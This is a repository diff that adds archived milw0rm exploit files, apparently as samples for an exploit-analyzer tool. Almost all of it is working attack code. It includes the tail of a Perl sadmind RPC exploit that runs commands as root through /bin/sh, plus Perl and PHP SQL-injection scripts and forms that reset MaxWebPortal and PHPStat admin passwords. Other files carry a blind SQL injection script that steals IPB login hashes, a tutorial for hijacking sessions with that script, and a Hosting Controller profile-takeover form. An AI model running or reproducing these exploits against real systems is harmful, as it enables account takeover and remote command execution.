+ exit(0);
213
+ }
214
+ return ($command)
215
+ }
216
+
217
+ sub rpc_socket {
218
+ my ($target_host, $target_port) = @_;
219
+ my $s = IO::Socket::INET->new
220
+ (
221
+ PeerAddr => $target_host,
222
+ PeerPort => $target_port,
223
+ Proto => "udp",
224
+ Type => SOCK_DGRAM
225
+ );
226
+
227
+ if (! $s)
228
+ {
229
+ print "\nError: could not create socket to target: $!\n";
230
+ exit(0);
231
+ }
232
+
233
+ select($s); $|++;
234
+ select(STDOUT); $|++;
235
+ nonblock($s);
236
+ return($s);
237
+ }
238
+
239
+ sub rpc_read {
240
+ my ($s) = @_;
241
+ my $sel = IO::Select->new($s);
242
+ my $res;
243
+ my @fds = $sel->can_read(4);
244
+ foreach (@fds) { $res .= <$s>; }
245
+ return $res;
246
+ }
247
+
248
+ sub nonblock {
249
+ my ($fd) = @_;
250
+ my $flags = fcntl($fd, F_GETFL,0);
251
+ fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
252
+ }
253
+
254
+ sub rpc_getport {
255
+ my ($target_host, $target_port, $prog, $vers) = @_;
256
+
257
+ my $s = rpc_socket($target_host, $target_port);
258
+
259
+ my $portmap_req =
260
+
261
+ pack("L", rand() * 0xffffffff) . # XID
262
+ "\x00\x00\x00\x00". # Call
263
+ "\x00\x00\x00\x02". # RPC Version
264
+ "\x00\x01\x86\xa0". # Program Number (PORTMAP)
265
+ "\x00\x00\x00\x02". # Program Version (2)
266
+ "\x00\x00\x00\x03". # Procedure (getport)
267
+ ("\x00" x 16). # Credentials and Verifier
268
+ pack("N", $prog) .
269
+ pack("N", $vers).
270
+ pack("N", 0x11). # Protocol: UDP
271
+ pack("N", 0x00); # Port: 0
272
+
273
+ print $s $portmap_req;
274
+
275
+ my $r = rpc_read($s);
276
+ close ($s);
277
+
278
+ if (length($r) == 28)
279
+ {
280
+ my $prog_port = unpack("N",substr($r, 24, 4));
281
+ return($prog_port);
282
+ }
283
+
284
+ return undef;
285
+ }
286
+
287
+
288
+ sub rpc_sadmin_exec {
289
+
290
+ my ($hostname, $command) = @_;
291
+ my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
292
+
293
+
294
+ my $rpc =
295
+ pack("L", rand() * 0xffffffff) . # XID
296
+ "\x00\x00\x00\x00". # Call
297
+ "\x00\x00\x00\x02". # RPC Version
298
+ "\x00\x01\x87\x88". # Program Number (SADMIND)
299
+ "\x00\x00\x00\x0a". # Program Version (10)
300
+ "\x00\x00\x00\x01". # Procedure
301
+ "\x00\x00\x00\x01"; # Credentials (UNIX)
302
+ # Auth Length is filled in
303
+
304
+ # pad it up to multiples of 4
305
+ my $rpc_hostname = $hostname;
306
+ while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
307
+
308
+ my $rpc_auth =
309
+ # Time Stamp
310
+ pack("N", time() + 20001) .
311
+
312
+ # Machine Name
313
+ pack("N", length($hostname)) . $rpc_hostname .
314
+
315
+ "\x00\x00\x00\x00". # UID = 0
316
+ "\x00\x00\x00\x00". # GID = 0
317
+ "\x00\x00\x00\x00"; # No Extra Groups
318
+
319
+
320
+ $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
321
+
322
+ my $header =
323
+
324
+ # Another Time Stamp
325
+ reverse(pack("L", time() + 20005)) .
326
+
327
+ "\x00\x07\x45\xdf".
328
+
329
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
330
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
331
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
332
+ "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
333
+
334
+ "\x7f\x00\x00\x01". # 127.0.0.1
335
+ "\x00\x01\x87\x88". # SADMIND
336
+
337
+ "\x00\x00\x00\x0a\x00\x00\x00\x04".
338
+
339
+ "\x7f\x00\x00\x01". # 127.0.0.1
340
+ "\x00\x01\x87\x88". # SADMIND
341
+
342
+ "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
343
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
344
+ "\x00\x00\x00\x00".
345
+
346
+ "\x00\x00\x00\x3b". $packed_host.
347
+
348
+ "\x00\x00\x00\x00\x06" . "system".
349
+
350
+ "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
351
+
352
+ # Append Body Length ^-- Here
353
+
354
+ my $body =
355
+ "\x00\x00\x00\x0e". "ADM_FW_VERSION".
356
+ "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
357
+ "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
358
+
359
+ "\x00\x00\x00\x08". "ADM_LANG".
360
+ "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
361
+ "\x00\x01". "C" .
362
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
363
+
364
+ "\x00\x00\x00\x0d". "ADM_REQUESTID".
365
+ "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
366
+ "0810:1010101010:1"."\x00\x00\x00".
367
+ "\x00\x00\x00\x00\x00\x00\x00\x00".
368
+
369
+ "\x00\x00\x00\x09". "ADM_CLASS".
370
+ "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
371
+ "\x00\x00\x00\x06" . "system" .
372
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
373
+
374
+
375
+ "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
376
+ "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
377
+ "\x00\x00\x00\x03". "2.1".
378
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
379
+
380
+
381
+ "\x00\x00\x00\x0a" . "ADM_METHOD" .
382
+ "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
383
+ "\x00\x00\x00\x15". "../../../../../bin/sh" .
384
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
385
+
386
+ "\x00\x00\x00\x08". "ADM_HOST" .
387
+ "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
388
+ $packed_host.
389
+
390
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
391
+ "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
392
+ "\x00\x00\x00\x00\x09".
393
+
394
+ pack("N", length($hostname) + 1) .
395
+ pack("N", length($hostname)) .
396
+ $rpc_hostname .
397
+ "\x00\x00\x00\x00". "\x00\x00\x00\x00".
398
+
399
+ "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
400
+ "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
401
+ "\x00\x00\x00\x00\x00\x00".
402
+
403
+ "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
404
+ "\x00\x00\x00\x00\x00".
405
+ "\x00\x09\x00\x00\x00\x1c".
406
+ "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
407
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
408
+
409
+
410
+ "\x00\x00\x00\x09" . "ADM_FENCE" .
411
+ "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
412
+ "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
413
+ "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
414
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
415
+ "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
416
+
417
+ $command . ("\x00" x (512 - length($command))).
418
+
419
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
420
+ "netmgt_endofargs";
421
+
422
+ my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
423
+
424
+ return($res);
425
+ }
426
+
427
+
428
+
429
+ # milw0rm.com [2003-09-19]
exploit-analyzer/exploits/exploit_1010.txt ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl
2
+ #################################################################
3
+ # T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
4
+ #################################################################
5
+ # EXPLOIT FOR - MAX Portal (All Versions)
6
+ #
7
+ #Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v );
8
+ #E-Mail : Alpha_Programmer@Yahoo.com
9
+ #
10
+ #This Xpl Change Admin's Pass in This Portal !!
11
+ #
12
+ #Discovered by: s d <irsdl@yahoo.com>
13
+ #
14
+ #################################################################
15
+ # Gr33tz To ==> mh_p0rtal , Oil_karchack , Str0ke & AlphaST.Com
16
+ #
17
+ #And Iranian Hacking & Security Teams :
18
+ # IHS , Shabgard , Emperor ,Crouz & Simorgh-ev
19
+ #################################################################
20
+ use IO::Socket;
21
+
22
+ if (@ARGV < 2)
23
+ {
24
+ print "\n==========================================\n";
25
+ print " \n -- Exploit By Alpha Programmer --\n\n";
26
+ print " Trap-Set Underground Hacking Team \n\n";
27
+ print " Usage: Max.pl <T4rg3t> <V3rsion>\n\n";
28
+ print " V3rsion :\n";
29
+ print " 1 ==> Version 1.35 and 0lder\n";
30
+ print " 2 ==> Version 1.36, 2.0 and Next\n";
31
+ print "==========================================\n\n";
32
+ print "Example:\n\n";
33
+ print " Max.pl www.Site.com 1\n";
34
+ exit();
35
+ }
36
+ $hell = "foo' or M_Name='admin";
37
+ if ($ARGV[1] =~"2" ){$hell = "foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272"};
38
+
39
+
40
+ my $host = $ARGV[0];
41
+ my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
42
+ PeerPort => "80" );
43
+
44
+ unless ($remote) { die "C4nn0t C0nn3ct to $host" }
45
+
46
+ print "C0nn3cted\n";
47
+
48
+ $http = "POST /password.asp?mode=reset HTTP/1.0";
49
+ $http .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
50
+ $http .= "Accept-Language: fa\n";
51
+ $http .= "Content-Type: application/x-www-form-urlencoded\n";
52
+ $http .= "Pragma: no-cache\n";
53
+ $http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
54
+ $http .= "Host: $host\n";
55
+ $http .= "Content-Length: 111\n";
56
+ $http .= "Proxy-Connection: Keep-Alive\n";
57
+ $http .= "Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=admin\n\n";
58
+
59
+ $http .= "pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submit\n\n\n\n";
60
+
61
+ print "\n";
62
+ print $remote $http;
63
+ sleep(1);
64
+ print "[+] Attacking ...\n";
65
+ print "[+] Changing Admin's Password ...\n";
66
+ while (<$remote>)
67
+ {
68
+ }
69
+ print "\nNow Go to $host and Login With :\n\n";
70
+ print "User: admin\n";
71
+ print "Pass: trapset\n\n";
72
+ print "Enjoy ;)\n";
73
+ print "\n";
74
+ ### EOF ###
75
+
76
+ # milw0rm.com [2005-05-26]
exploit-analyzer/exploits/exploit_1011.txt ADDED
@@ -0,0 +1,35 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ ------Trap-Set Underground Hacking Team-----------------mh_p0rtal----------------------
4
+ Greetz to : Alpha_programmer , Oil_karchack , Str0ke And Iranian Hacking & Security Teams :
5
+ Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
6
+ , CrouZ Security Team , Simorgh-ev Security Team
7
+ ----------------Discovered by: s d <irsdl@yahoo.com>------------------------------------------
8
+ */
9
+ # Config ________________________________
10
+ # address - example: http://www.site.com/password.asp
11
+ $url = "http://www.mohamad.com/password.asp";
12
+ $mh = "s1";
13
+ # if webmaxportal version is : Version 1.35 and older please input $mh= "s1"
14
+ # if webmaxportal version is : Version 1.36 , 2.0 please input $mh= "s2"
15
+ # EnD ___________________________________
16
+ if ( $mh == "s1" ) {
17
+ print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
18
+ print "Password1 : <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>";
19
+ print "Confirm Pass: <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br>";
20
+ print " ID :&nbsp&nbsp&nbsp <input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br>";
21
+ print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo' or M_Name='admin\" size=\"50\"><br>";
22
+ print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
23
+ print "</form>";
24
+ } if ( $mh == "s2" ) {
25
+ print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
26
+ print "Password1: <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>";
27
+ print "Confirm Pass : <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br> ";
28
+ print "ID : &nbsp&nbsp&nbsp<input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br> ";
29
+ print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo') or M_Name='admi n' or ('1'='2\" size=\"50\"> <br>";
30
+ print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
31
+ print "</form>";
32
+ }
33
+ ?>
34
+
35
+ # milw0rm.com [2005-05-26]
exploit-analyzer/exploits/exploit_1012.txt ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!--
2
+ Hi, I'm Soroush Dalili from Grayhatz Security Group (GSG) . I found dangerous sql injection
3
+ in Maxwebportal version 1.35,1.36,2.0, 20050418 Next
4
+ Remote user can inject his/her code in "memKey" var. and change other users password in
5
+ password.asp
6
+
7
+ Exploit codes to proof:
8
+ -->
9
+
10
+ -----------------Code Start-----Version 1.35 and older--------------
11
+ <form action="http://[URL]/password.asp?mode=reset" method="post">
12
+ <br>
13
+ pass1: <input name="pass" type="text" value="123456" size="150"><br>
14
+ pass2: <input name="pass2" type="text" value="123456" size="150"><br>
15
+ Id: <input name="memId" type="text" value="-1" size="150"><br>
16
+ Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
17
+ <br>
18
+ <input name="Submit" type="submit" value="Submit">
19
+ </form>
20
+ -----------------End-------------------
21
+
22
+ Version 1.36, 2.0, 20050418 Next:
23
+
24
+ -----------------Code Start-----Version 1.36, 2.0, 20050418 Next--------------
25
+ <form action="http://[URL]/password.asp?mode=reset" method="post">
26
+ <br>
27
+ pass1: <input name="pass" type="text" value="123456" size="150"><br>
28
+ pass2: <input name="pass2" type="text" value="123456" size="150"><br>
29
+ Id: <input name="memId" type="text" value="-1" size="150"><br>
30
+ Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2"
31
+
32
+ size="150">
33
+ <br>
34
+ <input name="Submit" type="submit" value="Submit">
35
+ </form>
36
+ -----------------End-------------------
37
+
38
+ # milw0rm.com [2005-05-26]
exploit-analyzer/exploits/exploit_1013.txt ADDED
@@ -0,0 +1,67 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ ##################################################################
3
+ # This one actually works :) Just paste the outputted cookie into
4
+ # your request header using livehttpheaders or something and you
5
+ # will probably be logged in as that user. No need to decrypt it!
6
+ # Exploit coded by "Tony Little Lately" and "Petey Beege"
7
+ ##################################################################
8
+
9
+ use LWP::UserAgent;
10
+
11
+ $ua = new LWP::UserAgent;
12
+ $ua->agent("Mosiac 1.0" . $ua->agent);
13
+
14
+ if (!$ARGV[0]) {$ARGV[0] = '';}
15
+ if (!$ARGV[3]) {$ARGV[3] = '';}
16
+
17
+ my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
18
+ my $user = $ARGV[1]; # userid to jack
19
+ my $iver = $ARGV[2]; # version 1 or 2
20
+ my $cpre = $ARGV[3]; # cookie prefix
21
+ my $dbug = $ARGV[4]; # debug?
22
+
23
+ if (!$ARGV[2])
24
+ {
25
+ print "The type of the file system is NTFS.\n\n";
26
+ print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
27
+ print "DRIVE C: WILL BE LOST!\n";
28
+ print "Proceed with Format (Y/N)?\n";
29
+ exit;
30
+ }
31
+
32
+ my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
33
+
34
+ my $outputs = '';
35
+
36
+ for( $i=1; $i < 33; $i++ )
37
+ {
38
+ for( $j=0; $j < 16; $j++ )
39
+ {
40
+ my $current = $charset[$j];
41
+ my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
42
+ "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
43
+ my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
44
+ my $res = $ua->get($path, @cookie);
45
+
46
+ # If we get a valid sql request then this
47
+ # does not appear anywhere in the sources
48
+ $pattern = '<title>(.*)Log In(.*)</title>';
49
+
50
+ $_ = $res->content;
51
+
52
+ if ($dbug) { print };
53
+
54
+ if ( !(/$pattern/) )
55
+ {
56
+ $outputs .= $current;
57
+ print "$current\n";
58
+ last;
59
+ }
60
+
61
+ }
62
+ if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
63
+ }
64
+ print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
65
+ exit;
66
+
67
+ # milw0rm.com [2005-05-26]
exploit-analyzer/exploits/exploit_1014.txt ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # danica jones <danica6699@gmail.com>
2
+
3
+ Tutorial for the recent exploit released by Petey Beege.
4
+
5
+ 1. Get the exploit from http://www.milw0rm.com/id.php?id=1013 (https://www.exploit-db.com/exploits/1013/)
6
+ 2. Make sure you have LWP::UserAgent perl module if not do this:
7
+ a. perl -MCPAN -e 'shell'
8
+ b. inside the perl shell, do this 'install LWP::UserAgent'
9
+ 3. Run the exploit. Get the password hash for the desired login id
10
+
11
+ ex. inv.pl http://forums.example.com 2 2
12
+
13
+ Where 2 is the login id and 2 for version 2 of IPB.
14
+
15
+ 4. Open wordpad. Edit Mozilla Firefox's cookie file. Mine is located at
16
+
17
+ C:\Documents and Settings\the1\Application Data\Mozilla\Firefox\Profiles\vspyhjb9.default\cookies.txt"
18
+
19
+ Add the following entries:
20
+
21
+ forums.example.com FALSE / FALSE 1148708747 member_id 1
22
+ forums.example.com FALSE / FALSE 1148708747 pass_hash ecb735f70028a9cdb819828f4aced78c
23
+
24
+ Notice the value of member_id and pass_hash taken from the values
25
+ generated by the exploit.
26
+
27
+ 5. Fire up Mozilla Firefox and login to http://forums.example.com
28
+
29
+ Enjoy!
30
+
31
+
32
+ # milw0rm.com [2005-05-27]
exploit-analyzer/exploits/exploit_1015.txt ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!--
2
+
3
+ Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).
4
+
5
+ Title: Hosting controller program have a security bug
6
+ in "UserProfile.asp" that an authenticated user can
7
+ change other's profiles.
8
+ Why is it dangerous: a user can change other's email
9
+ address and then use forgot password to recieve their
10
+ password! also he/she can gain administrator password
11
+ by this way!
12
+ Version: 6.1 HotFix 2.0 and older
13
+ Developer url: hostingcontroller.com
14
+ Comment: Hosting Controller is an application to
15
+ manage a host.
16
+
17
+ Exploit code to proof:
18
+ --------------------------------
19
+ Change users profiles: -->
20
+
21
+
22
+
23
+ <form action="http://[URL]/admin//accounts/UserProfile.asp?action=updateprofile" method="post">
24
+ Username : <input name="UserList" value="hcadmin" type="text" size="50">
25
+ <br>
26
+ emailaddress : <input name="emailaddress" value="Crkchat@msn.com" type="text" size="50">
27
+ <br>
28
+ firstname : <input name="firstname" value="Crkchat" type="text" size="50">
29
+ <br>
30
+ <input name="submit" value="submit" type="submit">
31
+ </form>
32
+
33
+ <!--
34
+ -----------------------------------
35
+ Now u can use forgot password to gain passwords! -->
36
+
37
+ # milw0rm.com [2005-05-27]
exploit-analyzer/exploits/exploit_1016.txt ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl
2
+ #####################################################################
3
+ #T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
4
+ #####################################################################
5
+ # EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
6
+ #
7
+ #Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v )
8
+ #E-Mail : Alpha_Programmer@Yahoo.com
9
+ #
10
+ #This Xpl Change Admin's Pass in This Portal !!
11
+ #Discovered by: SoulBlack
12
+ #
13
+ #Vulnerable Version : phpStat 1.5
14
+ #
15
+ #####################################################################
16
+ # Gr33tz To ==> mh_p0rtal , Oil_karchack , Str0ke & AlphaST.Com
17
+ #
18
+ # So Iranian Hacking & Security Teams :
19
+ #
20
+ # Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
21
+ #####################################################################
22
+
23
+
24
+ use IO::Socket;
25
+
26
+ if (@ARGV < 3)
27
+ {
28
+ print "\n==========================================\n";
29
+ print " \n -- Exploit By Alpha Programmer --\n\n";
30
+ print " Trap-Set UnderGrounD Hacking Team \n\n";
31
+ print " Usage: <T4rg3t> <DIR> <Password>\n\n";
32
+ print "==========================================\n\n";
33
+ print "Examples:\n\n";
34
+ print " phpStat.pl www.Site.com /phpstat/ 12345\n";
35
+ exit();
36
+ }
37
+
38
+ my $host = $ARGV[0];
39
+ my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
40
+ PeerPort => "80" );
41
+
42
+ unless ($remote) { die "C4nn0t C0nn3ct to $host" }
43
+
44
+ print "C0nn3cted\n";
45
+
46
+ $http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] HTTP/1.0\n";
47
+ $http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
48
+ $http .= "Host: $host\n\n\n\n";
49
+
50
+ print "[+]Sending H3ll Packet ...\n";
51
+ print $remote $http;
52
+ sleep(1);
53
+ print "[+]Wait For Authentication Bypass ...\n";
54
+ sleep(100);
55
+ while (<$remote>)
56
+ {
57
+ }
58
+ print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n";
59
+ print "[+]User: admin\n";
60
+ print "[+]Pass: $ARGV[2]";
61
+
62
+ # milw0rm.com [2005-05-30]
exploit-analyzer/exploits/exploit_1017.txt ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ error_reporting(E_PARSE);
3
+ /*
4
+ ================================================================
5
+ PHP Stat Administrative User Authentication Bypass POC Exploit
6
+ ================================================================
7
+ ====Trap-Set Underground Hacking Team===========mh_p0rtal============
8
+
9
+ Greetz to : Alpha_programmer , Oil_karchack , Str0ke And Iranian Hacking & Security Teams :
10
+ Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
11
+ , CrouZ Security Team , Simorgh-ev Security Team ,
12
+
13
+ ====================^^^^^^^^^^^^^^^^^^^-=========================
14
+ */
15
+ # Config ________________________________
16
+ # address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php
17
+
18
+ $url = "http://www.site.com/setup.php";
19
+
20
+ # EnD ___________________________________
21
+
22
+ print "<form action=\"$url?check=yes&username=$username&password=$password\" >";
23
+ print "<input type=\"hidden\" name=\"check\" value=\"yes\">";
24
+ print "Username : <input type=\"text\" name=\"username\" value=\"admin\" size=\"25\"><br>";
25
+ print "Password : <input type=\"text\" name=\"password\" value=\"abc123\" size=\"25\"><br>";
26
+ print ("<input type=submit value=::Change. > \n");
27
+ print "</form>";
28
+
29
+ //------------------------------------------------------End.
30
+ ?>
31
+
32
+ # milw0rm.com [2005-05-30]
exploit-analyzer/exploits/exploit_1018.txt ADDED
@@ -0,0 +1,112 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?
2
+
3
+ /*
4
+
5
+ **************************************************************
6
+ PHP Stat Administrative User Authentication Bypass POC Exploit
7
+ Code by Nikyt0x - Soulblack Security Research
8
+ **************************************************************
9
+
10
+ Advisory:
11
+ http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt
12
+
13
+ Saludos:
14
+ Soulblack Staff, Status-x, NeosecurityTeam,
15
+ KingMetal, SWP, Trespasser...
16
+
17
+ nikyt0x@gmail.com
18
+ http://www.nikyt0x.tk
19
+
20
+ **************************************************************
21
+ **This Exploit Change Admin Username and Password
22
+ **Username: admin
23
+ **Password: admin
24
+ **************************************************************
25
+
26
+
27
+ php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php
28
+
29
+ ==============================================================
30
+ PHP Stat Administrative User Authentication Bypass POC Exploit
31
+ ==============================================================
32
+ by Nikyt0x - Soulblack Security Research
33
+
34
+ [+] Testing: www.spazfarm.com
35
+ [+] Socket
36
+ [+] Sending Exploit
37
+ [+] OK
38
+
39
+ Open www.spazfarm.com/spazstats/setup.php
40
+
41
+ Username: admin
42
+ Password: 123456
43
+
44
+ **************************************************************
45
+ */
46
+
47
+ // username and password
48
+
49
+ $username = "admin";
50
+ $password = "123456";
51
+
52
+ function sh0w()
53
+ {
54
+ echo "\n ==============================================================\n";
55
+ echo " PHP Stat Administrative User Authentication Bypass POC Exploit\n";
56
+ echo " ==============================================================\n";
57
+ echo " by Nikyt0x - Soulblack Security Research\n\n";
58
+ }
59
+
60
+ if ($argc != 3)
61
+ {
62
+ sh0w();
63
+ echo "\n\n Usage:\n sbphpstatpoc.php www.site.com /dir/to/setup.php\n";
64
+ exit();
65
+ }
66
+
67
+
68
+ if(!ereg('setup.php',$argv[2])) {
69
+ echo "URL to setup.php Incorrect.\n";
70
+ exit(0);
71
+ }
72
+
73
+ sh0w();
74
+
75
+ echo " [+] Testing: $argv[1]\n";
76
+
77
+ $s0ck3t = fsockopen($argv[1], 80);
78
+
79
+ if (!$s0ck3t) {
80
+ echo " [-] Socket\n";
81
+ exit(0);
82
+ } else {
83
+
84
+ $petici0n = "GET $argv[2]?check=yes&username=$username&password=$password HTTP/1.1\r\n";
85
+ $petici0n .= "Host: $argv[1]\r\n";
86
+ $petici0n .= "Connection: Close\r\n\r\n";
87
+
88
+ echo " [+] Socket\n";
89
+
90
+ if(!fwrite($s0ck3t, $petici0n))
91
+ {
92
+ echo " [-] Sending Exploit\n";
93
+ exit(0);
94
+ }
95
+ echo " [+] Sending Exploit\n";
96
+
97
+ while (!feof($s0ck3t)) {
98
+ $g3tdata = fgets($s0ck3t, 1024);
99
+ if (eregi('Setup has been updated',$g3tdata))
100
+ {
101
+ echo " [+] OK\n\n";
102
+ echo " Open $argv[1]$argv[2]\n\n Username: $username\n Password: $password\n";
103
+ exit();
104
+ }
105
+
106
+ }
107
+ fclose($s0ck3t);
108
+ }
109
+
110
+ ?>
111
+
112
+ # milw0rm.com [2005-05-30]
exploit-analyzer/exploits/exploit_1019.txt ADDED
@@ -0,0 +1,289 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
